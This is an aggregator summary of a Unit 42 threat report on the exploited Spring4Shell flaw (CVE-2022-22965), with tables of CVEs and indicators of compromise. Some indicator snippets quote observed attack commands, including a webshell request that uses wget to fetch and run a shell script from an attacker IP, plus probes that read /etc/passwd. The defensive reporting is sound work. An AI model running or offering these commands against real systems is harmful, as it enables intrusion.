CVE-2022-22965: Spring Core Remote Code Execution Vulnerability Exploited In the Wild (SpringShell) (Updated)
Attackers actively exploit Spring Framework RCE CVE-2022-22965 (SpringShell, CVSS 9.8) to deploy webshells; patches 5.3.18/5.2.20 shipped March 31, 2022.
CVE-2022-22965 enables unauthenticated remote code execution in the widely used Spring Framework (CVSS 9.8), which Unit 42 has observed being exploited in the wild. The flaw stems from getCachedIntrospectionResults exposing the class object during parameter binding, letting attackers manipulate the class loader to modify Tomcat logging and upload a JSP webshell. Public PoCs require JDK 9+, Tomcat, WAR packaging, and spring-webmvc or spring-webflux dependencies on Spring 5.3.0-5.3.17, 5.2.0-5.2.19, or older. Fixes shipped in Spring Framework 5.3.18 and 5.2.20; the related Spring Cloud Function flaw CVE-2022-22963 was patched March 29, 2022.
- getCachedIntrospectionResults exposes the class object, enabling class loader manipulation to RCE.
- Exploitation requires JDK 9+, Tomcat, WAR packaging, and spring-webmvc or spring-webflux.
- Public PoC modifies Tomcat log configuration to upload a JSP webshell.
- Unit 42 observed in-the-wild exploitation; patches 5.3.18/5.2.20 published March 31, 2022.
- Organizations
- Palo Alto NetworksUnit 42
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2010-1622 | — | 52% | — | ||
| CVE-2022-22963 | SpEL Expression Injection RCE in VMware Tanzu Spring Cloud Function | 9.8 | 100% | KEVPoC | KEV |
| CVE-2022-22965 | Unauthenticated RCE in VMware Spring Framework (Spring4Shell) - JDK 9+ Tomcat WARs | 9.8 | 100% | KEVPoC | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | burpcollaborator.net | sswd cat+/etc/passwd id ifconfig ipconfig ping%20[redacted].burpcollaborator[.]net Observed in the Wild Our Spring Core Remote Code Executio |
| domain | ggdd.co.uk | t general scanning activity. ls nslookup%20[redacted].test6.ggdd[.]co[.]uk nslookup+[redacted].test6.ggdd[.]co[.]uk ping%20[redact |
| ipv4 | 107.174.133.167 | sp?pwd=j&cmd=/bin/sh/-c${IFS}'cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;' Upon further analysi |
| ipv4 | 109.74.204.123 | .148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[ |
| ipv4 | 172.104.140.107 | 253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[ |
| ipv4 | 172.104.159.48 | 10.0.0.0/8 1680 178.79.148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85 |
| ipv4 | 176.125.229.145 | 5.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[.]145 Table 2. Top 15 source IPs triggering the Spring Core Rem |
| ipv4 | 178.79.148.229 | observed. Count IP 4064 172.16.0.0/12 2664 10.0.0.0/8 1680 178.79.148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.2 |
| ipv4 | 185.196.3.23 | 74.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33. |
| ipv4 | 185.245.85.232 | 104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.1 |
| ipv4 | 194.31.98.186 | botnet. The requests above were sent from the IP address 194.31.98[.]186 , which itself has hosted payloads associated with Mirai |
| ipv4 | 195.246.120.148 | 7.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[.]145 Table 2. Top 15 source IPs triggeri |
| ipv4 | 207.246.101.107 | 45.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[. |
| ipv4 | 45.33.101.246 | 6.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[ |
| ipv4 | 45.33.65.249 | 4.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[.]145 Table 2. Top |
| ipv4 | 5.253.204.37 | .137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.14 |
| ipv4 | 82.165.137.177 | 64 172.16.0.0/12 2664 10.0.0.0/8 1680 178.79.148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.20 |
| url | http://107.174.133.167/t.sh${IFS}-O-%a6sh${IFS}SpringCore | atwar.jsp?pwd=j&cmd=/bin/sh/-c${IFS}'cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;' Upon further analysis, the t.sh script hosted on this r |
From the original article
12 min read at unit42.paloaltonetworks.com
Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications. On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3. 1.
By Haozhe Zhang, Ken Hsu, Tao Yan, Qi Deng, Robert Falcone · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.